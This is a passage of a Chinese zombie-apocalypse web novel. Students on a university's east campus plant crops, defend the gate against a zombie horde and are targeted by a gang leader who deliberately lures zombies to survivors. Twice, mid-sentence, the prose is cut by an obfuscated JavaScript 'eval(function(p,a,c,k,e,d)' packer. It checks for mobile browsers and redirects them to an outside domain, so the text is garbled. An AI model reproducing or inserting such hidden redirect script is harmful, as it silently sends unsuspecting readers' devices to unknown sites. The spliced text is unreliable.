光是搬运荒地上废弃的建筑垃圾就让大家累得全身冒汗，接下来还要翻地，拌草木灰……不少人根本不去理会李佳宁毫无意义的幻想。可就算没人理睬李佳宁还是闲不住嘴，他就是喜欢幻想一些让自己高兴的事情，这个癖好让他一次次在绝望中撑了下去。 他本来是农院的学生，去年转专业来到了商院。都说国际贸易也是天坑，但总比坑死人的农业强上不止一点。这一整个学年他都抱着对未来的巨大憧憬补习大一的课程，专业课从早排到晚，除了周日的下午，一星期六天都是不停奔波在各个教学楼各个教室里。 累，但好在只累一年。 这个学期他光专业课就要考九门，为此他提前两个月复习，到期末月的时候更是每天两眼一睁就是学，知识带给他自信，他怀着满腹的自信迎接最后一场考试。 跟高考一样，他再一次在命运转折之际压错了考点。 辛苦复习了两个月的内容全都没有考到，因为这次考的是末日求生，他龇牙咧嘴的冲出考场，哪怕再慢一秒，命都会留在里面。 他的人生仿佛永远徘徊在及格线。 那么一大盆土豆也就只有个百十来块，估计好种植面积，勉强达到标准后搬运建筑垃圾的人就停了下来。早知道种地这么累，刚才食堂里诉苦的人就该全拉过来。 坐在钢筋石板上休息时，才有人满了半拍般畅想起李佳宁绘声绘色的描述，无意义的幻想远不如现实的好处来的有吸引力，那人思维发散到到农院所在的主校区，羡慕道：“主校区有温室大棚，后山还有种植基地，一定不愁没吃的吧。” 旁边的人嗤笑一声，低声道：“主校区人多啊，周围是商圈，地势低还没什么围墙，估计早就沦为丧尸乐园了。”他朝那边努嘴：“真安全的话，那几个人为什么还跑到东区来？” 从主校区跑来的候源林三人置若未闻，只是汗滴落在眼睛里的时候，会抬头看会天。 “接下来就是播种了吧？”“还有翻土、拌肥料呢。” “啊啊啊啊啊累死了！” 本以为累成狗一样，种完地后她们不会再留恋那片土地一眼。可埋下最后一捧土后，所有人都没着急奔赴宿舍柔软的小床，反而不约而同的蹲在田埂上，挤在墙角的树荫下里，期待着看着这片算不上肥沃的土地。 平整，田埂歪歪扭扭，但每个小土坑里都认认真真埋下了希望。 甚至有人趴在地上祈求上天保佑，愿用今年全部挂科换取土豆健康成长。 阮青舒冷哼：“净给些没人要的东西。” 许是天无绝人之路，第二天天空就飘起了雨丝，小雨密密地下了一整天。 18. 开垦荒地and保卫家园 这场雨停在末日第三天的傍晚，半边乌云散去，霞光如金粉飘在空气里。 荒地上的人们像一只只蚂蚁般沐浴着霞光奔走，建设防御工事，开垦荒地。 土地被雨水浸透，变得松软，轻松就可以清理掉碎石杂草。有赶海工具的就用工具，没有工具的就拿着捡来的石片使劲扒拉。 杂草丛生的随着人们的移动一点一点裸露出泥土的颜色。 这是宿舍楼后的绿化地，因为常年背阴植株长得不好，早已荒废。 姜杞长久地蹲在地上，偶尔眯着眼抬脸擦把汗，就呆呆地看着教学楼，恍若隔世如对梦寐。 李穗手脚麻利地在土地上挪动，略黄的皮肤像是泥土稀释后的颜色，听到叹息声后她眯着眼回头：“装个啥啊，干了不到十分钟就跟已经干了一辈子似的。” 还不到十分钟吗？ 阮青舒转头看自己清理出的地盘：牛筋草三叶草和碎石高高地堆在一起，蒲公英和□□草小心地收在塑料袋里。 原来她竟然已经干了这么多活了！ 她抬起一张洋洋得意的精致小脸，和旁边满脸苦相的姜杞形成鲜明对比。 种地不只是把种子埋进土里，在播种之前，他们要清理碎石杂草、施肥、平整土地。 校园内最大的那块地被规划为种土豆地瓜，主食才能让他们活下去。 除此之外，大家还在六餐后厨窗台找到了两个留着做搓澡工具的干瘪老丝瓜，在厨余垃圾桶里翻到很多烂西红柿、南瓜瓤，只剩根部的白菜墩。 那是一个从丧尸爆发初期就藏在后厨的男生发现的。 跟末世后很快开始自救的大家不同，徐佳轩藏在六餐的一个小储物间里，守着一堆厨余垃圾，一直到第三天的早上才被发现。 他是饿过的。 所以在得知官方救援并没有到来，东区全面封锁，校外丧尸遍地后，徐佳轩立刻意识到事情的严重性，刚往外走了两步的他又回去捡起来那些厨余垃圾。 储物间里密闭狭小，他蜷缩着听一墙之外丧尸挣扎撕咬的声音，感受到无与伦比的安全感。可人不能只靠安全感活下去。 危难过后，安全屋变成了囚笼。 所以，当舍友坚持死守宿舍后，徐佳轩收拾了自己的行李和存货，搬进另一个空宿舍里。 他想好了，他要种地，要走出去。 丝瓜瓤里的种子比西瓜子大了接近两倍，乌黑油亮，成熟度高。南瓜瓤里的瓜子看上去又白又瘪，好像没熟。两种瓜子被湿洗脸巾包裹着放进文具盒里催芽。白菜墩也被放入小碟子里，浅浅一层水。李穗记得有一年妈妈就这样养了个白菜墩，会有茎叶慢慢生出来，窗边的明黄小花在雪景映衬下显得格外亮眼。 开花后应该会结果？ 她们希望可以获得白菜种子。 烂西红柿肯定是不能吃了，被种植在刚开垦出来的土地上。红绿的西红柿瓤包裹着黑色的子，小小的，滑溜溜的，一个小坑放一小坨。 那几个烂西红柿当然种不满这块地，一个女同学贡献出来几根干辣椒，但辣椒种子又多了，大家明天还得再开出来一块辣椒地。 幼师专业的同学根据手机地图画出了东区的平面图，在东四宿舍后的绿化带分别标上了【番茄】、【辣椒】，在东四西边的种植基地里标上了【土豆】。 这点东西当然不够。 翻箱倒柜找出来的种子已经在催芽了，他们要抓紧时间开垦荒地。 土豆的生长周期是3到4个月，这也可能成为他们的生命期。 阮青舒对此疑惑不解：“我们不能出去找吃的吗？超市什么的肯定会有囤货的吧？” 新鲜蔬菜难以存放，出去找也找不到，所以一定要种。 但成袋的大米、面粉，甚至粉丝、面条、泡面，零食饮料矿泉水，在超市里放多久都不会坏啊。 学校附近有个小市场，喜欢游戏的李穗说小市场就像一个每晚固定刷新的资源点，但这个资源点需要花钱让她一直很不爽。 现在这个资源点对外开放，有可能再也不需要付钱了。 只是也不会再刷新。 一个男生随口道：“但凡学校里还能靠啃草皮活下去，我都不要出去跟那些怪物抢吃的。” 哐哧哐哧猛干的李穗也不可置信的回头看阮青舒：“之前在外面的时候你不是老害怕了吗？怎么突然转性子了？” 李穗脸部肌肉抽搐，但其实心里不禁生出了淡淡的敬意。 因为朱妙妙发烧了。 她在逃亡过程中表现得那么冷静、勇敢，让人完全忘记了，曾经胆小怯弱才是她的代名词。现在这么热的天，从丧尸群中闯出来的那晚她却整个人蒙在被子里。 四个人的房间里，朱妙妙一个人发抖。没人知道那晚她是怎么熬过去的。终于回到原来的宿舍后，她突然开始发高烧。 小小的一个人裹着棉被缩在宿舍窄窄的床上，像泥土里的蝉。 李穗没想到最先钻出土里的是阮青舒。 阮青舒被她的眼神看的发毛，骂了句“神经”。她疑惑道：“之前害怕，是因为很多人变异了啊，但是大多数人都是因为受伤感染后才变异的啊，受了这么严重的伤还到处乱跑，怎么可能活很久啊。” 姜杞抬起脸来看她，李穗抽搐的面部肌肉竟也慢慢停下。 “而且他们也没有吃的，不吃饭很快就会饿死了吧？” 阮青舒说话的声音越来越小，因为越来越多的人放下手头的活，看向了这里。 “嘶——”“好像挺有道理啊？” “好像小说电影里都把丧尸设定成只要没被砍头就死不了的状态，是有点不合理啊。” “会动就说明有生命，有生命就应该很容易死。大学生天天搁床上躺着还很容易死呢，那些怪物怎么可能活很久啊！” “对，丧尸那个运动量，得吃很多东西才能维持生命体征吧？吃不到东西可不就得饿死！” 丧尸顽强生命力、超强破坏力、病毒发作迅速、易传播的设定早已通过小说、电影的传播深入人心，可现实和人类虚设终究是有区别的。 并不是所有被咬的人都成了丧尸。 也有明明没被咬，却突然变成了丧尸的人。 大动脉都断了，怎么维持正常的生命体征？ 不摄入能量，却能一直活动？ 怎么想都没有这样的道理。 希望在人群中流动起来，形成一股暖风。 暖风吹落了一滴汗珠，阮青舒忽然也有些恍惚，所谓的末日似乎只针对人类，风和日丽，世界仍旧。 这样好的天气。 手机铃声在这样的田园风光中显得有些刺耳，好多人的手机突然振铃，气氛陡然变得不对。 阮青舒没带手机，她蹭了蹭姜杞：“接呗，这么好的天气能有啥坏事。” 姜杞接通了。 “丧尸！丧尸从下面过来了——！” 拼命奔向校门的时候，阮青舒心里还在恍惚，这么好的天，竟然也会有丧尸吗？ “我真服了！”李穗一边跑一边骂：“你当这个世界的暖风只吹向人类啊？说不定其实我们才是反派，丧尸大军正在晚霞中奏响最后的胜利进行曲呢！” 剧烈的奔跑使姜杞脑海中一片空白，如果还有一点多余的力气，她可能会想自己为什么要冒着生命危险去救援。 当大多数的人接到电话后立刻跑向校门口，环境自然产生磁力，犹疑不决的人被磁力吸引，身体比大脑更快做出选择。最终整个人投入进去，甚至不再需要思考。 这就是团结？ 这样的情况下，团结似乎没什么不好。 姜杞与所有人共用一个大脑，几十个人抄着家伙在通往校门的大坡前狂奔，还有尖锐的怒骂声七零八落的从手机里传出来。 “丧尸是被人引来的！” “该死！我们老远就看见一辆破车从下面开上来，后面陆陆续续跟着好多丧尸，正盘算着怎么帮帮那些人，突然就发现那个破车在经过咱校门口的时候开始加速！！他们明明有能力一早甩开丧尸，却偏偏走到咱门口才加速！” “#￥的！那些人就是故意把丧尸引到咱们这里的！” 坡度越来越平缓，坡面上开始有围栏，已经可以看到围栏尽头被绿铁皮包围的大门。大门前是互相攀附撞击的丧尸，大门后是忙着加固铁皮的同伴。 手机里的声音渐渐与现实重叠，铁皮后的撞击声愈演愈烈，一群愤怒的人狂奔着冲进已经渐显疲态的人群里，疲惫被激动点燃，两股喷薄的怒火终于汇合。 “赶着投胎啊撞这么狠！” 撞击声震得人几乎要耳鸣，一个男生疯了似的冲着丧尸喊话。 他脸快伸到了铁皮后面，唾沫星子几乎要喷到丧尸脸上。他面部肌肉抽搐，可一张抽搐的更狠的脸粘着碎肉血块猛地压上来！ 直到被人从后面狠狠拽了一把，跌坐在地上的男生才后知后觉地反应过来自己在发什么疯。 两只抖成筛子的胳膊颤巍巍的摸向自己的脸，似乎是要确定脸还在不在，却在即将触碰到脸的刹那猛地撑地站起来。 他又颤抖着冲上前抵住门，咬着牙闭着眼，再也不说一句话。 姜杞没过多在意自己拽了一把的那个人。 她抵在刚刚那个人站的地方，丧尸在铁皮后撞得哐哐响。 现在的校门大多只是低矮的伸缩门，她们学校也不例外。但末日初期就有同学用铁皮加固过。铁皮本来是修路时放在路边的围挡，边缘本来就有孔洞，后来又用铁丝固定在伸缩门上。 加固过的门也算不上坚固，但也没有办法。 姜杞从来不是坐以待毙的人。 抵在铁皮后的人越来越多，姜杞一咬牙脱身出来，她转来转去，最后把手里的赶海铲子塞进一旁的李穗手里，自己从裤兜里摸出一小盒修眉刀的刀片。 姜杞的衣服总是有很多兜，她身上总是能掏出各种旁人看起来很奇怪的东西。 有丧尸的胳膊从铁皮缝隙中伸出来，像铁里生出的枝条。 姜杞侧着身子，捏着刀片，精准地割向丧尸的动脉。鲜血“呲”地一下喷出来。 与她想象的“发黑、洗漱”不同，丧尸的血流的更红更急，甚至光从血液状态上来看，它们才像是更健康的一方。 血喷到姜杞手上，脸上。 阮青舒挤上前来，想去给姜杞擦手，但最终在慌乱中接过来她递过来的刀片。 李穗抵着铁皮在嘈杂的“哐当”声中大喊：“这能有用吗！” 姜杞：“我就不信血流光了这些人还能动！” 阮青舒颤抖：“他们，还在流血，我，我们这算杀人吗？” 姜杞在拥挤的人群和嘈杂的噪音中挣扎地看向了她，看了眼这个声音和动作同样颤抖，但并没有停止做事的女孩。 她似乎叹了一口气，那声叹气很轻，身边又很乱，阮青舒也不知道自己为什么能听到。 她说：“净想这些有的没的。” “这能有用吗？不都说只有爆头才能让丧尸失去行动力吗！” 一旁的人被鲜血糊了满脸，但在血污中挣开的眼睛却清亮起来，有人扯着嗓子大喊：“我就不信会什么东西血都流干了还会动！别想小说电影里的那些设定了，末世也要讲基本法吧！” 丧尸似乎感觉不到疼痛，只一味朝着有人的地方挣扎。 每一只疯狂伸进来的手都被刀片一次次的攻击。 鲜血哗啦哗啦的流，姜杞的心也碰碰的往上跳，最终似乎真的从身体里跳出去了。 血不是从她的身体流出来的，她却感觉自己也有什么东西跟着血一起流走了。 丧尸的挣扎幅度越来越小，但身子已经在挣扎中卡进铁皮缝里，后面的丧尸还在蠕动，但前面失去行动能力的丧尸已经成为了围栏的一部分，丧尸的血液似乎模糊了它们的判断能力，开始有丧尸散去。 很久很久之后 ，夜幕落下一角，人们才散落的蹲在地上大喘气。 姜杞捏着刀片的手糊满了鲜血，滑腻腻的，她也不知道自己是怎么捏住刀片的。她还在不停地做着切割的动作。 直到阮青舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203026|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从身后捉住了她颤抖的胳膊。 衣服上糊着鲜血的人们踉踉跄跄地退了下去，身上带着土腥和铁锈味的人们喘着粗气奔上前来。 一扇巨大的铁门被十来个人抬了上来。 几乎勒出血色的手掌死死抓着锈红的铁栏杆往上推，用肩膀扛，用头顶，刚刚散开的人群又不约而同汇聚而来，巨大的铁门缓缓起立。 如果站在远处的山上，可以看到随着这扇铁质大门的轰然竖起，依山而建的东区填上了最危险的那块缺口。 张奇伟眯着眼往那看，感觉自己的胸口也随着大门的起立而堵上。 他站在东区对面的一个小山头上，斜靠着一辆没有车玻璃的奔驰，身旁零散地站着几个男男女女，身后是稀疏的山林。 林子里的小树苗东倒西歪，土地留下深深的碾痕，显然是被车硬生生闯出来的路。 他狠狠吸了一口烟，眯着眼，又重重吐出一团烟圈。白色的烟雾短暂遮住远方那片砖红色建筑，像是掩盖住了他不曾明说的心思。 半截烟被吐出来，甚至狠狠踩了两脚，明眼人都看得出老大心情不好。 卫信泽跟其他马仔一样，低着头，装作不敢说话的样子。 可他却眼睁睁看着一双熟悉的盗版耐克悄么伸向张奇伟的身旁。刚垂下的眼眸缓缓瞪大，他恨不得舍友生下来就没长脚。 舍友张杨无视了卫信泽的眼神，悄么，但非常坚定的踩了那个烟头两脚。 山林防火的意识甚至比求生欲还要高涨。 “老大，回去吧。” 风几乎要吹散这个颤巍巍的声音，一个小黄毛在暗沉的天光下瑟缩着抱起胳膊。 他们找的住处离这还有两三公里呢，要不是一时脑热非要上高处看那群大学生的热闹，早在引开丧尸后他们就该原路返回了。 张杨也觉得有点冷了，忍不住向卫信泽的方向靠了靠。 他们是在杀了阎良后遇到的张奇伟。 那时阎良死了吗？ 张杨只记得满地滑腻腻的血液像有了生命力一样在地板上迅速流淌，尚且挣扎的手糊着血在地板上反复抓握…… 后厨的门被打开。 最后，那双手也只抓到了刚走进来的那个人的影子。 那个人像是从尸山血海中走出来的。 他提着身上衣服血红，脸惨白，但不可避免地带了几分疲惫。推开门后嗤笑一声：“会杀人啊。” “那就跟我走吧。” 卫信泽强忍着不适，抢在张杨拒绝前答应下来。 张奇伟蛮有深意的看了他一眼，嬉笑的走进来……几个拖着钢棍铁刀的男女跟在他身后。 偌大的酒店里只剩这几个人了。 午后两三点，炙热的空气里没有一点动静，安静到卫信泽还以为回到了山西。 得活下去，他和舍友相互搀扶，攥紧从后厨拿的尖刀走过一具具残缺的尸体。 得活下去，他要回山西。 他们搞到了一辆车，然后占据了附近一个小商场。商场因为经济纠纷已经几乎废弃了，只有十楼十一楼开放，人很少，给了他们操作空间。 但这个商场里没有吃的。他们必须出门找吃的。 路面上又都是丧尸。 “丧尸都是打不死的，这样下去，咱们就算不被咬也活不下去啊！” “怎么打不死？”张奇伟道：“爆头不就死翘翘了吗？” 手下瑟缩：“那得打到什么时候？” 张奇伟笑了：“让别人帮我们打不就好了。” 街上到处是死掉的人，尸横遍野，丧尸却并不多。 他们开了一路车，把能引来的丧尸都引到有人的地方了。 饭店商铺的巨大玻璃被撞碎，本来趴在落地窗后求救的人尖叫着四散开来，像大潮退去后疯狂卧沙的蛤，想尽一切办法隐藏自己。 尖叫声带着张奇伟的心升天。 他轻飘飘地想，他没有杀人啊。只不过是不希望有人能在自己浴血搏杀的时候坐收渔翁之利。 躲起来的人都该死。 商铺里的东西能吃到什么时候？本来就是困兽之争，还不如跟着他们搏杀，挣出一片新天地！ 缩在家里的人更是可恶，他们在尸潮中挣扎，风里雨里朝不保夕，凭什么这些人藏起来哪里都不去？吃着家里的食物安心等救援…… 那些人一定想不到，根本不可能有救援了。 张奇伟心想，等他完成新手任务，就带着人一家一家搜上去。 临街的商铺被一家家撞开，里面的人哭喊着躲藏，却被张奇伟等人一次次的闹出动静来，最后逼不得已和丧尸搏杀在一起。 沿途的小区也被张奇伟一一记下，没有门禁的老小区被重点标注，高档小区要略靠后，等他们找到开锁工具再去找这些人收保护费。 他们也路过了齐南大学主校区。 这是丧尸爆发的重灾区。 社区有楼禁门禁，每家每户都还有门锁，只要丧尸爆发的时候人正在家中，就基本不可能受到伤害。 但大学不同。 大学太开放了。不同于有天然地理屏障的东区，主区地势低平，只有低矮的铁围栏，刚被丧尸咬伤的人咬咬牙也都能爬进去，栏杆下的尸体堆多了，丧尸也能爬进去。 张奇伟一行看热闹的人也没捞着什么好处，听到车声的丧尸一窝蜂地涌过来，追着他们的车跑。 张奇伟大笑着开车把丧尸甩开。 十字路口处，本来驶向南校区的车突然掉头，开上高架桥，驶向了东校区。 本来顶多坐三个人的后座被硬生生挤上了六个人，卫信泽就这样被夹在中间，僵坐着。不知道自己还能不能回归正常生活。 回到正常人中去。 他感觉自己被放进一个巨大的绞肉机里，他为自己现在的模样感到痛苦，同时心里总有一根弦紧绷着，始终觉得张奇伟有些不对劲，却又说不上来怎么回事。 驶向东区后，不对劲的感觉更重了。 在没看到东校区之前，张奇伟的脸就先阴了下来。 19. 丧尸之城【加载中】 东区依山而建，地势高。隧道穿山而过，东区就建在隧道上面，东西两个校门在公路两侧敞开，校门口的围栏依着山势修的很高。 易守难攻。 本该大敞的学校大门被绿铁皮里三层外三层围的严严实实。马路上都没有什么尸体，也看不到游荡的丧尸。 甚至校门口的保安室前飘出了浓烟，明显是有人的痕迹。 这里有幸存者。 肉贴肉挤在车上的人远远看着被郁郁葱葱的山林包围的东区，心想，还是过得很好的幸存者。 躲在商铺里的人只能算是有个落脚的地方，吃喝拉撒都是问题，甚至连安全都算不上，朝不保夕。藏在家里的人稍微好一点，但也是是守着仅存的食物等救援，忧心忡忡的缩在狭小的空间里，不见天日。 可这里的人竟然拥有这么多土地，在人心惶惶，苟且偷生的末世。 他们甚至能想象到里面的人走出宿舍楼，在校园里奔跑、劳作的样子。 要是里面的人是他们就好了，车上的人忍不住心想。 所以，当张奇伟要把丧尸引过去的时候，车上的人没有一点意外。 他故意吸引来周围的丧尸，放慢车速把丧尸引过去。 正想着怎么让丧尸看到里面的人，谁知围挡后面陆续冒出几个毛茸茸的脑袋。 张奇伟对上一双清澈的眼睛，清澈的让他恼火。 他却笑起来，冲着里面的人打招呼。 那人向他比划“禁声”的手势，张奇伟见她不中招，冷笑着回头瞥了眼丧尸群，打开车载音乐，调到最大。 这在寂静的末世简直如同炸弹！ 追在车后面的丧尸被剧烈的声响刺激到，嘶吼着猛冲，血腥气扑面而来。 他放慢车速，甚至驾着车在校门口原地绕了个圈，看着那双清澈的眼睛从摆手提醒，到失语震惊，最终迸发出仇恨的火光。 竟然敢用这种眼神看我。 张奇伟喜欢看这些原本生活安逸的人突然陷入绝境，在末世巨大的打击下变得惊慌失措、狼狈鼠窜。这些生活优越的人本来就是沾了和平的便宜，从小到大他不止一次的想过，自己应该诞生在战乱时，去做大D枭，做雇佣兵。 那些普通人，一旦自己赖以生存的优越幻境被突然破坏，必然惊慌失措一蹶不振。 而被他们鲜红血液造就的深红土壤将成为自己的养料。 可现在，这个瘦弱的小女孩竟然敢这样看着自己。 毛恨竹不但用仇恨的眼光瞪校门口挑衅的那一车人，她还迅速抓起一个泡香蕉皮的矿泉水瓶，爬上围墙朝那些人扔了过去！ 发酵了一天一夜的肥水在砸中车顶后爆开，腐烂香蕉水从车顶流下，溅落在没有车玻璃的座椅上。 毛恨竹最后看了眼破口大骂的车主，随即跳下围墙，加入忙碌的人群中。 跳下来之前，她已经在围墙上看到了狂奔来的丧尸。 铁皮围挡最大的缺点就是噪音大，有一个丧尸撞过来，巨大的声响就会吸引来无尽的丧尸。毛恨竹踩在梯子上，接过同学们递过来的棉被，纤细的手臂抱着被子狠狠甩到外面。 学校发的被罩是系带款的，她把被罩系在铁皮围挡的顶端。 第一个丧尸在棉被刚搭在铁皮围挡时，就猛地撞了上去。 张奇伟开着车停在隧道底下，直到看见那条孤零零的棉被很快被发狂的丧尸扯下，巨大的撞击声引来越来越多的丧尸，才冷笑着驱车后退，一个甩尾，加速消失在公路上。 在他的心里，那堵各种材料拼接成的破败大门必然会倒在逐渐汇聚的尸潮下，那些不知死活的幸运儿也终将会变成尸潮的一部分。 然而在他的头顶，在隧道上方的学校操场上，越来越多的人操着家伙朝着校门口的方向飞奔。 十几分钟后，直接把车开上山头的张奇伟终于看到了他之前错过的那伙人。 这个破学校竟然庇护住这么多人。 视野里密密麻麻的人头被红色小方框圈起，左上方的蓝色光字实时更新数据： 【幸存者基地分析：齐南大学东校区 幸存者人数141人（目测估计，实时更新中） 屯粮：不详；根据小卖部末世前进货量估算，超市囤货可支撑213人维持最低生命标准约13日 面积：约2000亩】 2000亩？张奇伟不动声色地*了一声，这是把后面的山头也算上了吗。 对了，山头。 他看向连绵的后山。 西、北两个大门被围的铁桶一般，但后面是连绵的山头，不知道能不能从后山摸上去。 蓝色光字继续变化： 【白海市探索进度加五：目前探索值百分之三十二，奖励50能量值 基地探索：解放小型基地34，奖励34能量值；联合状态下消灭丧尸103，奖励103能量值；探索特大型基地1，奖励10能量值 触发任务“解放或占据特大型基地——齐南大学东校区”：预计奖励2000能量值，任务进度百分之二 主线任务：联合全人类，消灭丧尸！ 宿主张奇伟：目前能量值370 已兑换技能：炫风车技-驾驶任何交通工具皆触发自动驾驶功能，每天限时10分钟；削铁如泥-触碰铁制品将自动赋予工具削铁如泥特质，3次\天，10秒\次 末世枭雄系统实时为您服务】 后山、2000能量值…… 张奇伟心动的回到车上，他对白海市的探索已经达到了三分之一，齐南大学东校区是目前探索到的最大的幸存者基地。 2000多的能量值足够做太多的事情。 在系统的驱使下，他无法在一个地方长期停留，每天都必须外出寻找蜗居在家的幸存者，“联合”他们和自己一起对抗丧尸。 如果能获得这2000能量值，他的生命安全能得到更大的保障。 夜幕随着晚风悄然降临，暮色的山林透着深深凉意。 张奇伟最后看了眼那群龟缩门后的学生，嗤笑一声，在众人的簇拥下回到车上。 他们还有五六公里的路要赶。 不过随便住在哪里都行，张奇伟驾驶着汽车在山林中穿梭，车灯如长剑般不断将黑暗吞没。在这个已经无人管制的世界，他可以前往自己想要前往的任意地方。 汽车跌跌撞撞冲出山林，如同一头被唤醒的野兽，开始在无人的公路上奔驰。 偶尔从绿化带里，公厕中钻出来的行人和苍蝇一样被无视，抓狂的丧尸被撞飞。 钢铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203027|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨兽在城市熄灭了灯火之后终于释放了它的野性。 在夜幕下，在这样的轰鸣声中，城市也悄无声息苏醒。 白日里被晒得恹恹的丧尸，在身体逐渐恢复正常体温后缓慢抽搐起来，扭曲着身子，向着光，循着声，开始奔走。 车开得很快，轰鸣声在大街小巷一闪而过，隐秘在黑暗中的丧尸循着动静扑出来，片刻后却又迷失了目标。 但躁动并没有停息！ 这是末世爆发的第三天。 第一天的人们毫无防备，世界突然的异变使商场、步行街这种人群密集的地方成了地狱，大部分人在看到丧尸的第一眼就达成了必死结局。 可侥幸存活下来的人很快躲了起来，锁好门窗，拉紧窗帘，躲在钢筋混凝土的房子里，守着冰箱里的囤货蜗居，下定决心啃绿萝喝雨水也不会再出来。 没人出门，丧尸就只能饿肚子。 丧尸的爆发力强，力量大，消耗也高。 于是，末世第三天，饿了很久的丧尸终于爆发！ 整个白海市的丧尸陆陆续续汇聚，从乡村到城区，从马路公园到商场小区，在星光与月光下，在蝉鸣声中，循着活物的味道，结伴前往光亮方向。 张奇伟等人还驾着车在公路上奔驰。 齐南大学的幸存者们聚众蹲坐在校门口，百十人挤在一起气喘吁吁，抬脸就能感受到别人带着温度的喘息。 入夜后气温降低，人体的体温更加明显，巨大的热量无形中吸引着丧尸，一公里、两公里、三公里——附近的丧尸全部朝着东区的方向逐渐汇聚！ 而刚获得一点安全感的大家对此毫不知情。 不少人情不自禁的去触碰这扇还带着白天余温的大铁门，这是从废宿舍楼那边拆下来的。 前天大家追逐丧尸的时候就有人不小心闯进了废宿舍楼，这些天来他们只要有点空闲就想法设法去把门拆下来，直到刚刚丧尸堵门，防御的重要性在心中空前高涨。种地的同学们来支援后，大家一窝蜂地跑去拆门。 门上面有镂空花纹，大家就用铁丝将大门与铁皮围挡的间隙固定住。 铁皮围挡当初也是用捡来的工具打了孔，再用铁丝固定在学校原来的伸缩门上的。 “ 铁皮围挡当初是怎么固定住的？”姜杞看着铁皮围挡上面并不整齐的孔洞和死死缠绕的铁丝，孔洞太小，铁丝穿过去完全看不到。 里面的人，怎么控制铁丝在外面的走向吗？ 一道女声从人群中响起：“里面确实不好弄。” “所以，有人去了外面。” 去了正在被丧尸围攻的校外。 有的人回来了，有的人永远留在了外面。 这是两个不同的声音。 阮青舒搀扶着姜杞，诧异回头，她下意识寻找刚刚说话的人。 却只看到了一张又一张流血、流泪的脸。 姜杞的手机铃声突然又响起了。 她几乎是哆嗦着用最快速度接通了电话。她已经意识到灾难的到来跟人的心情，跟天气没有任何关联。 朱妙妙发颤的声音从手机里传出：“我看到后山有丧尸。” 后山。 姜杞反应了一下才明白是宿舍楼背面的山。 那是她们刚刚开荒的地方。 20. 丧尸，来了！ 起初，朱妙妙只是想下楼帮忙。 可走到电梯间，她却偎依在窗边，光照在脸上，视线看着外面，腿靠在凉凉的瓷砖上，仿佛和瓷砖生长在一块。 山还是深青色。 玻璃中的她也还是好好的。 朱妙妙也不知道自己是怎么了。 她总感觉有两个灵魂在身体里乱窜，每一个都很陌生。 这两天她裹在被子里，宿舍也被裹在窗帘里。她分不清白天与黑夜，每一门考试的时间在脑海中来回旋转，形势与政策论文她怎么也想不起来时什么时候交。丧尸身上携带病毒吗，会不会通过血液传播？大学生就业与指导是不是开卷考？她还有几门课没复习？ 没考的那几门课还用复习吗？ 丧尸吃不吃人？ 宿舍哪里还有吃的吗？ 吃的……朱妙妙忽然想起来还没复习的那几本书里应该夹着小零食！复习这么苦，她每复习完一个章节就要奖励奖励自己。《军事理论》那么厚，里面肯定夹着好多猪肉脯、口香糖。 朱妙妙拔腿就要跑回宿舍看看。 就临走前多看了山林一眼，她刚抬起的腿又颤抖着收了回来。 一张抬起来的，血肉模糊的脸，突然出现在草地上。 原本人满为患的草地不知道什么时候已经空无一人了，丧尸抬着胳膊在后山上游荡，和大家刚刚开荒的地方仅隔了一道低矮的篱笆。 几十人抄着家伙接到电话后从校门口赶来的时，已经有不少带着口罩贴着退烧贴的同学们戒备的守在篱笆附近了。 夜幕渐浓，在昏暗路灯照耀下，隐约可以看到那是只行动迟缓的中年丧尸。 姜杞三人缓缓走到朱妙妙身后，看着这只丧尸。 “雷子哥啊。” 丧尸身上是一件沾满了血污的藏蓝色POLO衫，嘴被打了红叉叉的卷子撑得很大，仰着头，四肢僵硬地在篱笆边绕来绕去。 看上去没有一点攻击力。 这是她们院里的一个老教授。 老教授江湖人称雷子哥，姜杞对他印象深刻。无他，雷子哥上课喜欢提问，并且挂科率达到了恐怖的三分之二。 他在期末考前洋洋得意地讲：“期末还是要好好复习的，别弄得毕业很多年后还要回来补考。” 彼时台下正站着一个来咨询补考事宜的大二生，听到这话脸色惨白，嘴角抽搐。 阮青舒看着前两天还在考场上见过的老教授，嚅嗫道：“这怎么下得去手。” 朱妙妙也不说话。 姜杞忽然掏出手机，上下滑动着刷新。 良久，她轻声道：“社会调查方法的成绩出来了。” 三颗脑袋迟疑地转向姜杞的方向，三个人的大脑小脑加起来都没想明白这个时候姜杞为什么会突然刷教务信息网。 阮青舒：“你过了？” 姜杞微笑：“对，挂了。”她也不知道自己是怎么了，但就是非常想笑。 想笑，她就笑了。 姜杞从来没有过这样的感觉。 许尧缓缓走了过来，人群无声散开，阮青舒斜斜看了他一眼，继续站在姜杞身侧，朱妙妙抱膝蹲在一米外的篱笆边，李穗自顾自的扣篱笆上的叶子玩。 “今晚按学号抽签，明天把围墙修起来。”看着一墙之外晃晃悠悠的丧尸，许尧摆摆手，看上去有些疲惫。 山林繁茂，有丧尸也不容易被发现。东三宿舍楼和后山只隔了一排缠着细铁丝的稀疏木板，根本抵挡不了丧尸的冲击。 谁也不能保证今天的事情是意外。 只有把东区围的铁桶一般，才能稍稍增加大家心中的安全感。 “嘶——”一个男生默默关上自己同样挂了科的手机页面，指着逐渐暴躁的雷子哥蠢蠢欲动。“这个丧尸，就先干掉吧。” 